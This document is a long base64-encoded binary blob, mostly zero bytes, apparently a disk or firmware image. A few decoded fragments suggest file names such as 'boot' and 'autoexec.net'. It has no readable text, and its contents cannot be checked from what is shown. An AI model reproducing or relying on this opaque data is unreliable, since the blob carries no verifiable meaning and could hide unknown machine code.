AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACcQADH/xib290AAAAAAAAAAAAAAAgAAwBSHNwdC5kYXQAAAAAAAAAGrAP6AFoYXV0b2V4ZWMubmV0AAAB9AFaHBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADO7dvbAAMACQAABmwIAADJZztbbbAADAAJAAAAxswhiLAhhNJyNhpOxlxTgf//E6GMADEbDDef/+OBwA7zyOB1MUIw6Bgf8tB//94E9vn/dAWS+MD/////+wBfsIj/+IY3/5P/r//xgf///////////////////////9A8iPyosmBhiORkLhoMxcMhoNBcMRxnfLA+QExfkAArjOC+I4oYjlDiOIuIA5jPDAw1zHYz4wP/////////////////60kkGAB4RmQFkCM7/////////////////3gACAAASIxX//////////////////////////////////////////////////////////////////////////////////////////+GAAgAALsAYH///////////////////kBxtgIAAMYUAKAjf/////////////////4gaMCASMVAAwRiv///9A/hAQBiZhQZGAnG8yGUY+/cq4H/jRf9STHA/QLAACyv1gf////YEgAC+vwGAAEABAONAeHoU37gf/////xEEIL/jQf84H///////////////////+mHHGpUqACkTsIP/A+eO+MD+7mwPpN4/88ds/OZb4gAQ5ZwlgbEeGB+5phNO8sACAAAdM/94H//1hmEIzywP//1Dk98gdD//6wP////////////7Yq/60X/mB/AVLUAjmPzA////+dkz8/P////ngf////////////////////////8TIACFZM2qSWTP/////xwP////////+Fkz////////////2wACAAATY8////6WTP///////////////////////////////////////+AVkz//////////////////////////////////////////////6wACAAAUwBgf////////////////////////AyAAhSJ4AgAB2TP/////////////////////////////////////////////////////////////////7wACAAAUb//////+FkzxAlkz///////////////////////////////////////////////////////////////////////0C2TP/////////////1wAAgAAHgAYH7f+Bcv6Y31wP//////////////+gHir/9aL/vA/gKAACCOY/MD////5gmcw4HhgABAAQDjAHh7Idgf////////////////////////////9TIACFKVpUoBrJn////////////////////////////////+2AAIAABarE//rZM////////////////////////////////////8QPZM//////////////////////////////+gRYVMGIjCgEIFh7/9cD///////////////////3gACAAAmo2///////////////////////////6CZL4AQMTMKYSwPjcVMD/zov+gH1zifQCwQEct9YH///8/YYH3h1EJLxGAAEAB0CDw9o/fA/////////////////////////////hkABClG0rIf4AKROxQ/8D5474wP7Lr8cD0w75wP147LeYFxnngf////////2HJ7xXnA///////6YAIAABohRf///////uCoWoBAAqMKAJQQvv///////3wP/////////////////////6A+PaAoFvDCh3MEfb/////////////////////9MD/////////lVqMD//+8T//////////////////cAAIAABLju///kdz/////////////////////////////////////////////fA///////////////////////////////////////////WACAAATZ4f///////////////////////YEkJf//3E////////////////////////////////////////////////////////////////88AACAAATq93//9gf////////////////////////////////////////////////////////////////9wJW////uJ///////////////////+GAAgAAEuP9/1Hc/////////////////////////////////////////////3wP///////////////////////////////////////////+YAIAABNnx//////////////////////yBI+X//9xP/////////////////////////////////////////////////////////////////1wAAIAABOsHf//2B////////////////////////////////////////////////////////////////UCVn///7if////////////////////5YACAAASY7n/////////////////////////////////////////////GB/////////////////////////////////////////////+wAIAABOoB////////////////////+4Ejpf//3E//////////////////////////////////////////////////////////////////88D94ACAAATMn/////////////////////////////////////////////////////////////////0BK4X//9xP//////////////////////TAAIAABLkff/SIP/////////////////////////////////////////+wP//////////////////////////////////////////////+OACAAATqEf//////////////////+oEjZf//3E//////////////////////////////////////////////////////////////////88D//uAAgAAEzZ////////////////////////////////////////////////////////////////wBK0X//9xP///////////////////////2wACAAAS5L2SIP/////////////////////////////////////////+wP////////////////////////////////////////////////ngAgAAE+iH/////////////////+YEjJf//3E//////////////////////////////////////////////////////////////////88D///+GAACAAAVOn///////////////////////////////8DJZIDACMMKA4gS0v///////////////////////////////sD///////////////////////////tgAgAAEiTN///////////////////////////////////////////////////////////////////////////////////////////hgAIAACuAGB////////////oHREgGAAYYUARAiN////////////1gf////////////+gFJFQMJJJ6TMXMBUAIAgABhgIRRf/////xAcIKf+B88gY3zxzgSFYmSFhmB8AG9EAAAC+piQAzq8AIGDIaDGcDgY83GTQeGB//UBxBjA/B9yLy0AgQAxM2EZaH4hQfGB+NB/zgf//////////////////////////////////9sAACAAAdJjX///////////////////////5WJP/MD////+2JPL8///7gkVgkVAbof/+JBNJyNhpOxl3v//jgf/////////////////////////////////8f+B85h3/////////////ICAQABABBkTQBBkAFQv//+wACAAATovn////////4CYZP////////5gf//6IZ//////////////////////////////////////////////////////////////////////mAAgAAJyzf/rZIgECgAAQAINMiTEOB/6C2iACCNM4RAWCACKH/jnfmB/////7/yMAE/8IABQQkTAxTKpBhH/7AXPAQhiukhxhYoYUhowBLWYzA6/8CmTIeeBtxvkzceYBAm49MDbj4wP/////////////////////////////////////////////////////////////////////////7YAIAAC4tAf///qGLotc6sJYHA9koCYtwkAEzdArtXhgf//////////9U7D+AVEmwoRB////E9Fy9U/jgQRfMQHo///8wP/9KHYgEARIwoCRAQTScjYaTsZeD/mBoYcADICRWCRVpf88D//////////8AGHl/////+IBK5jhCf/////kATJCE8CkVBkNRsMS+Msh4YH5kkf///////////////////////vgfOSRwzyfngfaSR/////////tgAgAAH+G/7YH//ypIf///////////YHzkkcNMn54H2kkf///////////////////////+aikbABBAIwphEAoARzaPGbh4Yj//////////gfM99sD////5gOK8GQymYwnU2HT3/5v8Awmv////88D//////////////////////////eACAAAZZJv/////////////////////////////////916AHnY2GE3DEazCv9a9H/////9KOFOAEChTCmEQCQxDC0/1wP//////////////////////////////////////////////+mACAAAiKE3////////+akqPIAFENRwlgZmBJTjEwIFDrlfp9DoHICCUC4QaGh5eym2SAX5hXCABCZXzntgf/////////////////////yU8gFAYkwphLA////////////////////////////////////KiZchomYUwlgf///////////////////1wAAIAABIjgf//////////////////////////////////////////////////////////////////////////////////////////4YACAAAUwBgf/////////////////////////////////////////////////////////////////////////////////////////4AN+v1KAvOhyGA2HOACAAAi8p64H///////8IX4ZTcZDGaDScIW3//kVCGMxiNhlvf//LApEKZMFpHMJ0Mp3MJ54v//gVIYHgICgcjeZDqYzpxv//DA////////6IIXf//4MBgMRuQRrx+AWI7A///////////////////////////////////////////////////////////2AAA3gAbqX//////wGxorYRYAQAQISDhLA///D/33jgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA